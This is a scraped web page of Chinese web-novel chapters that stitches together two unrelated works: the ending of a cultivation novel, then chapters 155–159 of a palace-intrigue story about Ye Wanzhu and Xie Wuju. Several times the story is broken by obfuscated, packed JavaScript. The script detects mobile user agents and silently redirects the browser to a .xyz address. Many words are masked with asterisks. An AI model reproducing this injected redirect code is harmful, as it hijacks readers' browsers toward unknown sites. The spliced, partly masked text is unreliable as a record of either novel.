这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百五十五章 兵分两路 江南? 两个蒙面人闻言对视一眼,都露出了茫然又意外的神情。 “是啊,”叶晚竹斜晲着他们的表情,又叹了一声,“我被人陷害,空口无凭,拿不出什么证据,只好先逃跑避祸去了。” 这话是彻头彻尾的胡说八道,可那两个蒙面人却皱起眉头,露出了同情的模样。 “可谁知道,那个要害我的人竟然这么快就追了上来,还差点儿置我于死地——” 仿佛没发现两人的表情变化,叶晚竹像是在大吐苦水,说着说着,忽然又将话锋一转。 “你们既然是来帮我的,是不是对这个在幕后害我的人有些了解?他是谁?” “他……” 蒙面人们下意识地张了张嘴,反应过来又及时停住,抬头看向叶晚竹,眼底全是犹豫和警惕。 这位景平王妃说话着实吓人,方才的一切,恐怕都是为了这最后一句套话吧? “王妃,您就别玩小的们了。” 其中一个蒙面人苦笑一声,抬手朝叶晚竹作揖。 他也不装了,“小的们实在不能把具体情况告诉您,不过您尽管放心,只要您不去南郡,不回京城,也不要暴露身份,十有**是安全的。” 听着这话,叶晚竹缓缓地挑了挑眉。 “你的意思,是有人会像你们今天这样,一路保护我?” 两个蒙面人对视一眼,虽然遮去了面容,也不难看出他们正讪讪地笑着。 听上去,这两个蒙面人的主子,知道的东西还当真不少。 此人会是谁? 心思转动,叶晚竹面上却没有半分表露,有些懒懒地开了口。 “行啊,那我就继续下江南去了。” “多谢王妃,多谢王妃!” 话都已经说到这份儿上了,两个蒙面人也没有再留下去的意思,很快便向叶晚竹提出告别,说是要回去和主子复命。 “王妃,此地不宜久留,趁对方还没有派来第二批**,您最好也快点离开,”临行前,那蒙面人又一脸慎重地道,“走水路最安全。” 叶晚竹不动声色,一一应下。 目送着两人消失在客栈外,叶晚竹这才看向隐川。 趁着他们刚才说话的功夫,隐川已经飞快地将客栈内外的情况摸了个遍。 “都**,老板,伙计,还有住店的客人,都是被一刀割喉,”隐川的表情十分不好,“基本可以肯定就是那些兜帽人做的。” 为了杀王妃,这些人还真是花了好大的手笔! 叶晚竹的表情也冷了下来。 这客栈热闹得很,几十条人命却在瞬间就被夺去了。 这笔账她记下了! “走,先离开这儿再说。”她站起身来。 让隐风去跟着那两个蒙面人,看他们要去往何处,叶晚竹则是带着剩下三人,赶在官差清场前离开客栈,走无人的小路,找了个隐僻的废弃草屋暂时落脚。 这座镇子两侧都是荒山野岭,茂密的草木将他们的身形吞没殆尽。 “大白天的就敢动手**,这些人也太嚣张了!” 终于来到安全的地方,虎子松了口气,双腿还在不住地哆嗦着。 方才的事情在脑海中不断重现,他愤愤地捏紧了拳头。 这是多少条人命! 叶晚竹皱着眉头,神情更冷。 走在镇中,他们才发现,不仅是自己落脚的客栈遭了殃。 那一整条街上弥漫的白烟并不是叶晚竹先前认为的迷烟,而是某种**,街上的百姓被迫吸入后统统七窍流血,一双眼睛连睁都睁不开。 这些人和这个幕后之人有什么仇怨? 只是为了清场,无辜之人就活该遭受这种折磨吗? 再说起来,叶晚竹又和他有什么过节,为什么他要这样孜孜不倦地找她的麻烦? 叶晚竹垂下眸子,又一次思索起来。 安王,还是安王世子? 无论哪一个,前世还是今生,她都和他们没有半点关系。 强行把她卷进其中,这些人要干什么? 不知为何,叶晚竹隐隐地又想起了不知多久没有上朝,甚至没有在人前出现的昭德帝。 圣上现在怎么样了? 会不会也和这件事有关?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686390|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 思绪万千,叶晚竹越发觉得这件事一定不简单。 —— 叶晚竹一行在草屋里隐匿行踪,一直等到了傍晚,隐风才带回了消息。 “镇子**了,任何人不得出入,据说当地衙门已经将情况上报京中。” 出了这么大的事情,又是几十条人命,小镇的衙门显然已经束手无策。 “那两个蒙面人呢?”春桃有些心急地继续追问。 隐风的嘴角忽然抽了抽。 “他们骑马又换车,在路上绕了好大一圈,明显是不想被人发现,最后回到了……安王别院。” “安王别院?”叶晚竹微微瞠目。 安王别院其实就是安王那些年避祸时候住的庄子,又因为他几乎不到京城中去,此地虽然叫别院,实则就是安王一家日常居住的地方。 “是安王在帮咱们?”虎子挠了挠头,“这,这对吗?” 他在这一路上也已经听了不少最近发生的事情。 安王和世子不是九千岁的唯二重点怀疑对象吗? 现在怎么有帮忙的人是从安王府里出来的呢? “小姐,肯定有诈!” 想来想去,虎子把手一拍,“那两个人肯定是故意的!” “若是故意,他们为何不趁机下手**?” 隐川却摇了摇头。 这话说不通。 “确实,”叶晚竹也点点头,“那两人还提醒我千万不能去南郡,若是有诈,无须如此。” 思忖片刻,她轻轻一拍桌子。 “这样,春桃和虎子,你们两个明日动身前往江南,我有两位师姐师兄住在临安,你二人去投奔他们,落脚之后,再跟住这条线调查。” 这条来自安王别院的神奇力量若真是无害,未来说不定能为她所用。 “我现在就给师姐写信,让她在路上接应你们。”叶晚竹又道,“你们自己也要小心。” “小姐,那你呢?”虎子闻言有些着急,“你不和我们一起去吗?” 叶晚竹铺纸研墨的动作微微一顿。 “南郡,南疆,我非去不可!” 第一百五十六章 一个野人,一群蠢货! 一来,商队整个儿失踪在南郡,到了现在都生死未卜。 二来,从那两个蒙面人对南疆的忌惮态度,还有他们的话里,叶晚竹也越发确定,这个地方肯定有问题。 安王世子在南疆领兵五年之久,除了打仗,他是不是还做了什么? 再联想那两个蒙面人的安王府下人身份,叶晚竹顿时又有了些新的猜测。 将书信写好交给春桃和虎子,叶晚竹旋即打发两人去收拾行李,早些休息,自己则是又提起了笔。 这一封信是要写给谢无咎的。 小镇的**,来自安王府的提醒,还有自己的猜测,叶晚竹这一封信写得很慢,密密麻麻的小字铺满了整张信纸。 不知道京城的情况现在怎么样了? 希望比她预想得要好一点。 —— 送信的鸽子降落在京城宫中的时候,谢无咎正背着手站在乾清宫殿外的院子里。 左右空无一人,他解下鸽子脚上的书信,看着看着便挑起了眉。 “隐翼。” 片刻后他抬起头,话音落下的瞬间,隐翼便不知道从什么地方出现在谢无咎眼前。 “安王府昨晚有变,去查查,里面都发生了什么。” 安王如自己表现出来的一样老实本分,胆子还小,整日蜗居在别院里除了遛鸟逗狗,就是侍弄花草。 没想到,最先动起来的竟然是他。 谢无咎嘴角勾着一抹玩味的笑容。 “记得做隐蔽点,别吓着他老人家。” “属下遵命!” 隐翼低着头,半边脸却忍不住抽了抽。 眼下局势如此严峻,自家主子竟然还笑得出来! “主子!” 隐翼领了任务离开,隐月又从外面而来,表情有些凝重。 “安王世子正带着朝中半数大人们纠集在宫外**,要您打开宫门,给他们一个说法呢。” 谢无咎“哈”地笑出了声。 “孟希越怂恿的?”他眸光锐利。 隐月点了点头。 “安王世子将景平王府的事情大肆宣扬了出去,如今京中有消息渠道的人都在说主子和王妃勾结害人,还要趁机为祸宫廷,大人们对您的意见……很大。” 说到最后这两个字,隐月忍不住咬了咬嘴唇。 这朝中纠察百官的事务一向是由东厂负责,谢无咎抓贪官污吏时毫不留情,手段也十分残酷。 朝中大臣们早就积累了许久的恐惧和不满,如今都在安王世子的煽动下爆发了出来。 这事儿越想越不对,隐月的眉头不由得紧紧皱起。 “唔,这倒是人之常情。” 谢无咎却毫不在意地点了点头,语气中甚至还是带着笑意的。 “这朝中人人自危了这么久,也是时候该释放了。” 隐月抬起头,面上全是不解。 主子这是什么意思? 让大人们释放?那不全都冲着东厂来了吗? “去传本督的口令。” 不等隐月想明白什么,谢无咎又悠悠地开了口。 “请诸位大人们好好想想,本督管理东厂期间,可曾冤枉过哪个贪官,又放跑了哪个污吏?本督一心替圣上办事,以圣旨为尊,问心无愧;倒是他们,现在正听信的是谁的谗言?” 说到最后,谢无咎的眼神忽然变得一片森冷。 隐月也被这股煞气波及,低头打了个哆嗦。 他正要应下离开,却听见一阵阵乱声由远及近,朝乾清宫而来! “九千岁!冯将军反水打开了宫门!”一个御林军狂奔大喊而来。 他声音惊惶,头盔歪斜,脚下一个踉跄摔倒在谢无咎身边! 谢无咎一甩袖袍,杀气四溢,“放肆!” “立刻让御林军退守乾清宫!”他眯了眯眼,“只留出正门大道,放世子和大人们进院。” “九千岁?”一个御林将军正要听命却又愣住,“这,这能行吗?” 进了院,大殿仅有几步之差,太近了啊! 就算他们能将圣上的寝殿守成铁桶,也还是感觉不**全! 谢无咎轻笑一声,背起双手来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686391|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到殿门前。 “本督就站在这里,”他语气轻柔,却让人闻之浑身发凉,“我倒要看看,是哪个不长眼的东西,敢强闯圣上居所?” 宫门已开,抵抗也只是暂时的,再加上谢无咎下令让御林军只守不战,约莫两炷香之后,在冯将军的带领下,文武百官便乌泱泱地出现在谢无咎眼前,。 看着被御林军里三层外三层镇守着的乾清宫,众人不免接二连三地停下了脚步。 “都到这儿了,怎么,不敢进来?” 谢无咎站在石阶尽头,将外面的一切看得清清楚楚,他扬声发话,语气里全是讥讽。 “各位大人刚才不是还质问得义正词严的吗?来,本督没听清,谁起个头,你们重新说一遍?” 九千岁在京中的恶名还是太响亮了,文武百官们闻言齐齐打着哆嗦,不少人脸上显出了怯意。 “谢都督,好端端的,你还是不要恐吓各位大人们了吧?” 孟希越的声音从黑压压的人群里传了来,“还是说,这就是谢都督惯用的手段?真让本世子大开眼界。” “安王世子于本督而言,也是彼此彼此,”谢无咎哼笑着,“许是本督在京城的年岁有些长,习惯了文明行事,还从来没想过有人敢如此正大光明地带人逼宫,又在圣上寝殿前大放厥词的。” “孟希越,”他骤然冷下声音,“你可知道你现在在干什么,又算是个什么东西?” “连逼宫这样的事情都做得出来,你以为这儿还是南疆那等荒蛮之地,能让你尥开四个蹄子随便撒野不成?” 没看见孟希越躲在哪儿,谢无咎目光逡巡着,索性也不找了,抬手朝各位大人们一挥。 “还有你们!他野惯了不知礼数,你们也跟着一起散起德行来了?是不是顺手把廉耻也丢了?被这点君子之仪束缚了太长时间,早就想找个正大光明的理由犯浑发贱了是吧?” “你们进宫来是干什么的?责问本督?你们可还知道逼宫行同谋反,按律当斩?做出这样的事情,你们是打算到行刑台呐喊,还是托梦吓死本督啊?真是一群蠢货!” 第一百五十七章 早就被盯上了 叱骂劈头盖脸地砸下,众位大人都被谢无咎这番发难打了个措手不及,眼神木楞地站着听训,好像被骂傻了似的。 隐月束手站在一旁,不禁撇了撇嘴。 还不如刚才就让他出去传话呢,还能少被九千岁骂上几句,如今都督大人临场发挥,各位大人们逃都逃不开了吧? 还多担上一个罪名! 在隐月看来,这些大人们也是一心作死! 就算对九千岁有再大的不满,纠集起来闯宫门算是怎么回事? 有理也都要变成没理了! 况且他们本来就没理! “谢都督这是什么态度!” 谢无咎还没骂个过瘾,那边孟希越便忍不住抬高了声音。 “本世子与大人们——” “你给本督闭嘴!” 谢无咎运气向外,一嗓子便截断了安王世子委屈的腔调。 “世子妖言惑众,怂恿了这么多大人跟着你发动宫变,你一个乱臣贼子,想要本督给你什么样的好态度?莫非本督要背着你到金銮殿去坐坐不成?你也配!” 露出一个冷冰冰的讥笑,谢无咎抱起双臂,看着这位安王世子,眼底满是愠怒。 “狗胆包天的东西,跑到宫里撒野,你活得不耐烦了!” “谢无咎!你话不要说得太难听!” 孟希越再也忍不住了,拨开面前的几位大人,大步走上前来。 再怎么说他也是领兵打仗,驰骋沙场多年的武将,被这样像幼童一样指着鼻子阴阳怪气,又破口大骂,孟希越断不能就此罢休。 “你口口声声说本世子逼宫谋逆,我看是你自己心虚,所以看什么都觉得和自己一样吧!” 他昂首挺胸地来到一众大人们身前,双眼死死盯住高台上的谢无咎。 “圣上究竟怎么了,为何这么长时间告病不出,连早朝和议事都一并取消?” “好端端的,圣上又为什么要把腰牌给你,让你管理宫廷?” “最后一条,你为何滥用职权,徇私包庇景平王妃这个****?你用圣上交付的权利还做了什么?” 瞪起双眼,孟希越的质问声也显得十分铿锵有力。 “谢都督方才一番话,细听全是在移花接木!圣上有旨,本世子和大人们自然听从,可谢都督这样狐假虎威,还摆出如此一副大义凛然的态度,就有点可笑了吧?” 他话音落下,一直站在一旁,沉默不语的冯将军也直起了身子。 “九千岁,末将也觉得安王世子言之有理,”他粗声粗气地开了口,“自末将在宫中轮守已经有十几日的时间,从未见过圣上现身,一应命令和调度,全都是由九千岁和东厂的人在负责,敢问九千岁,圣上身边的宫人何在?为什么忽然之间就不做差事了?” “唔。” 谢无咎似乎是站得累了,侧了侧身子靠在廊柱上,一边朝冯将军看去。 “冯将军是金吾卫的人,是吧?” “正是!”冯将军将身板挺得笔直。 “金吾卫奉命和御林军一道拱卫皇城,兄弟们累死累活熬了这么多天,都被你这个蠢材毁于一旦。” 一边说着话,谢无咎一边朝冯将军身后看去。 这位的官职也不算太低,能拿下守宫门的任务,手下也带着不少卫兵。 现下这些卫兵都已经被冯将军带到了这里,手执武器站在大人们身后,看样子就像在等待进攻似的。 听了谢无咎的话,不少金吾卫卫兵面上都露出了不安的神色。 圣旨要他们守卫宫城,可不是让他们打进来! 谢无咎挑了挑眉,收回目光再看向冯将军,语气依旧嘲讽,“你,让金吾卫白白背了一回罪过,却一心只顾得上琢磨这些唧唧歪歪的废话。” “本督看,你还不如德顺公公的脑子清楚。” 德顺公公头发都白了一半,只比安王小几岁,冯将军哪里受得了这样的侮辱,怒吼一声便要伸手拔剑! “阉贼!你敢辱我!” “御前拔刀,罪加一等。” 谢无咎连眼皮都不多眨一眨,“冯将军,怎么连这个都忘了,我要是你,我连和德顺公公比都不好意思。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686392|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你他娘——” “好了!” 眼见两人又要吵,孟希越上前拦了冯将军一把。 冯将军顿时住了口,谢无咎却又轻笑一声。 “好狗。” “谢都督。” 孟希越再次转过头来。 “都督在这里挑拨我们所有人的情绪,不就是为了掩饰自己的小九九吗?不好意思,本世子偏要抓着不放!” “景平王爷的遭遇相信大家都有所耳闻,娶了个丧心病狂的王妃,害了全家人,现在还躲起来怎么都不见踪影。” “像叶晚竹这样心狠手辣的妇人,谢都督不仅公开表示过对她的欣赏,还给了她手下,亲自替她撑腰,看起来,你们关系好得很啊。” “王府事发之后,敢问谢都督是怎么帮助叶晚竹这个**犯的?又为何要阻拦景平王的调查,强行贸然结案?” “……” 孟希越还在不停地质问着,乍一听都很有条理,谢无咎却眯了眯眼。 这安王世子回京也不过几个月,景平王府,还有叶晚竹的事情,他竟然知道得如此清楚? 连他送了假的鹤顶红都能轻而易举地说出来。 谢无咎的目光更深地注视着孟希越。 说不定,更早的时候,从他和叶晚竹谁都没有发现的时候开始,他们就被盯上了。 “……谢都督,你手握权柄,做的就是这样以公谋私,草菅人命的事情,很难不让你怀疑你的动机!” 还没说完? 谢无咎掏了掏耳朵,直起身来鼓起了掌。 “世子好口才,本督都要甘拜下风,只是有一个问题,这景平王府里谁**?竟然让王妃变成了**犯?” 他要是没记错,那几位虽然情状凄惨,但都还在喘气吧? 孟希越一哽,咬着牙道,“谢都督还要偏帮凶手?本世子更加怀疑你假传圣旨不安好心!我们要见圣上!” 这两件事有什么必要的联系吗? 谢无咎有些哭笑不得,正要开口,一阵脚步声忽然从身后的乾清宫中响了起来—— 第一百五十八章 昭德帝怒斥群臣 众人都转过头朝声源看了过去。 只见被层层拱卫着的乾清宫殿门缓缓从里面被打开了一道小缝,一个熟悉的人影快步从里面走了出来。 “德顺公公?” 这下就连谢无咎都挑起了眉头。 这位怎么出来了? “德顺公公!”孟希越精神一振,“不知圣上情况如何?我们要见圣上!” 各位大人们刚要应声附和,却被德顺公公张口拦下。 “圣上正在静养,大人们莫要听信有心之人的挑拨,纠集闯宫,还在御前吵吵闹闹,这成何体统?” 这话听上去就像是昭德帝的口吻,不少大人们都冷静下来,表情变得惊惶。 真的是圣上在里面,那他们的一举一动…… “都站住了啊,别哆嗦,别摔倒。” 谢无咎幸灾乐祸的语气分外明显,“本督的手下忙着呢,可没有时间送一群乱党回府。” 孟希越咬了咬牙,“我要见圣上!” “众臣听旨!” 理也不理孟希越的话,德顺公公将背在身后的双手举到前面来,露出了明黄的圣旨。 院子里所有人都忙不迭地跪了下去。 刚才闹出了那样大的动静,人人吼着说话,显然是让一墙之隔的昭德帝听得清清楚楚。 孟希越首当其冲,被昭德帝在圣旨中一连质问了四五回,最后冷酷无情地夺官禁闭。 今日参与其中的文武百官也逃不脱,罚俸思过削职一个不少。 “从明天开始,所有人给朕闭门思过三天,好好想想,你们效忠的到底是哪个姓孟的?” 昭德帝最后这愤怒的诘问更是让大人们冷汗直冒,当真躺在地上,连爬起来的力气都没有了。 读完最后一句,德顺公公冷笑一声,不等有人说什么,便将手中的圣旨翻转摊开,让里面的字迹完完全全地袒露在众人面前。 “圣上吩咐了,担心各位大人们非得眼见为实,让各位睁大眼睛好好看看,这是谁的笔迹?” 院中的大人们已经被昭德帝的措辞吓得肝胆俱颤,那熟悉的威严气势,已经让他们再生不出一丝怀疑。 唯有孟希越犹豫片刻,还是抬头朝上方看去。 圣旨上的笔迹歪歪扭扭,气力凝涩,看上去,的确是大病之人双手无力之下的手笔。 “安王世子。” 发现了他的动作,福顺公公绷紧了一张脸看来,面上没有半点笑容。 “咱家记得世子不曾往宫中上过多少折子,御笔朱批您没怎么见过,要不要找几位大人,帮您品鉴一下?” 孟希越眼底闪过一丝暗芒,咬着嘴唇努力勾起笑容,“这,这倒是不必……” “世子还是仔细验证一下为好,免得回去之后又生出什么想法。” 福顺公公跟在昭德帝身边的时候总是一幅笑眯眯的模样,这还是头一遭露出如此高高在上的态度。 他昂着下巴,点了在场五位大人的名字。 “各位大人们,给安王世子宽宽心吧?” 这五位哪敢不从,哆嗦着上前确认,孟希越的表情也跟着变得越发阴沉。 可这是来自圣上的羞辱,他现在不想忍,也得忍! 不知怎么才捱过了福顺公公的冷言冷语,又被御林军“护送”着回到安王府,等到大门一关,孟希越立刻一脚踢翻了院中养鱼的水缸! 欺人太甚! 水缸倒在地上摔了个粉碎,几尾锦鲤扑腾了两下就没了动静。 安王府里静悄悄的,没有一点儿声音发出。 这就是昭德帝特意为安王修建,但却只用了一次的那间宅子。 孟希越从南疆归来后,因着还有许多事要和朝中交涉,总出入城门不太方便,便独自一人住进了安王府。 府里总共只有几个下人,这会儿也都没出现。 孟希越余怒未消,喘了几口粗气后,表情却迅速地冷静了下来。 “黑耀!”他低声道。 话音落下的瞬间,一个影子出现在孟希越身后。 “你能进到宫中去吗?” 背着手看向已经一片狼藉的地面,孟希越面上一片冰寒,毫无缓冲地问道。 这个叫黑耀的暗卫摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695834|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若只是金吾卫和御林军的守卫还可一试,加上东厂的人手,没有半点胜算。” “要是能拿到排班表呢?”孟希越却不想放弃,“或者把东厂的人引开? 黑耀默默地抬头看着自己的主子,从孟希越紧绷的下颌角中看出了决然。 “若这两样能同时满足,或许有三分可能。” 孟希越闻言毫不犹豫地拍板,“行,我让人安排!” “主子要属下去查什么?”黑耀忍不住多问了一句。 孟希越的嘴角有了一点并不明显的扭曲。 “去给我瞧瞧,陛下到底是什么情况,怎么还能提笔写字,还有力气骂人?” —— 宫中。 目送着各位大人们被押送回府,谢无咎这才收回目光,看向站在一旁的福顺公公。 福顺公公已经没了刚才的那种气势,双腿发软,脸色灰败,好像随时都有可能一头栽倒在地。 那份圣旨在他手里哆嗦着,上面昭德帝虚弱的笔迹让谢无咎眸光微凝。 “公公——” “别过来!” 他刚想上前扶一把福顺公公,却被后者厉声喝住了。 福顺公公软手软脚地后退几步,一副极力要远离谢无咎的模样。 “危局已解,九千岁快离乾清宫远些吧!”福顺公公看着他的时候,眼底全是恳求。 谢无咎皱了皱眉,却站着没动。 “圣上如何?”他沉声问道。 福顺公公仿佛被这一句话问得又憔悴了几分,整个人像一副被吸干精气的皮囊。 他摇了摇头,眼中黯然失色。 “九千岁,走吧,走吧!” 连连摆手催促,福顺公公伸手摸索着打开了身后的殿门,用自己最快的速度缩了进去,几乎是瞬间就消失在谢无咎面前。 寝殿中光线昏暗,谢无咎只来得及看到几面屏风,牢牢地将殿中余下部分挡得严严实实的。 门闩被反锁,院中顿时一片寂静。 谢无咎拧着眉头,沉默片刻方才转过身子。 “隐月,去慎刑司!” 第一百五十九章 走火入魔?毒入骨髓! 谢无咎大步走在前往慎刑司的路上,面沉如水。 路上没有多少宫人,只有数不清的御林军,又渐渐全都变成了面无表情,一脸警惕的东厂锦衣卫。 比起宫中的其他地方,这里显然更加戒备森严。 谢无咎的目光却并未落在他们身上,心思还被留在乾清宫里。 